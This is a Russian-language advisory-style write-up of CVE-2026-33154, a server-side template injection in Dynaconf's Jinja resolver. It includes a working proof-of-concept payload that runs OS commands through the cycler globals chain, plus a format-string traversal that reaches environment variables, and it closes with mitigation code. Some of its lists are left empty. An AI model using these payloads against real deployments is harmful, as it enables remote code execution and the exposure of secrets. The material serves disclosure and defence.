
Эксплойт proof-of-concept для CVE-2026-33154, демонстрирующий удалённое выполнение кода через SSTI в Jinja-резолвере Dynaconf, с анализом и рекомендациями по смягчению последствий.
Dynaconf уязвим к инъекции шаблонов на стороне сервера (SSTI) из-за небезопасной оценки шаблонов в резолвере __@Jinja__. Когда установлен пакет jinja2, Dynaconf вычисляет выражения шаблонов, встроенные в значения конфигурации, без песочницы (sandboxed environment).
Если злоумышленник может влиять на источники конфигурации, такие как:
.env...он может выполнять произвольные команды ОС на хост-системе. Кроме того, резолвер __@Format__ позволяет обходить граф объектов, что может раскрыть чувствительные объекты времени выполнения и переменные окружения.
Уязвимость возникает из-за того, что строковые резолверы Dynaconf не имеют надлежащих границ безопасности.
__@Jinja__Резолвер __@Jinja__ отображает шаблоны с использованием полной оценки Jinja2. Однако контекст отображения не изолирован песочницей, что позволяет злоумышленникам получать доступ к внутренним атрибутам Python. Используя такие объекты, как cycler, злоумышленники могут добраться до глобальных объектов Python и импортировать модуль os.
Пример пути атаки:
cycler → __init__ → __globals__ → os → popen()
Это приводит к произвольному выполнению команд.
__@Format__Резолвер __@Format__ выполняет форматирование строк Python с использованием внутренних объектов. Это позволяет злоумышленникам обходить граф объектов Python и получать доступ к чувствительным объектам времени выполнения.
Пример обхода:
{this.__class__.__init__.__globals__[os].environ}
Это может раскрыть:
import os
from dynaconf import Dynaconf
# Внедрение вредоносной конфигурации
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Результат выполнения команды:")
print(settings.RCE)
Успешная эксплуатация позволяет злоумышленникам:
Поскольку значения конфигурации могут поступать из конвейеров CI/CD, систем оркестрации контейнеров или внедрения окружения, эта уязвимость может стать удалённо эксплуатируемой в реальных развёртываниях.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ доверенными значениямиsafe_value = "{name}".format(name=trusted_name)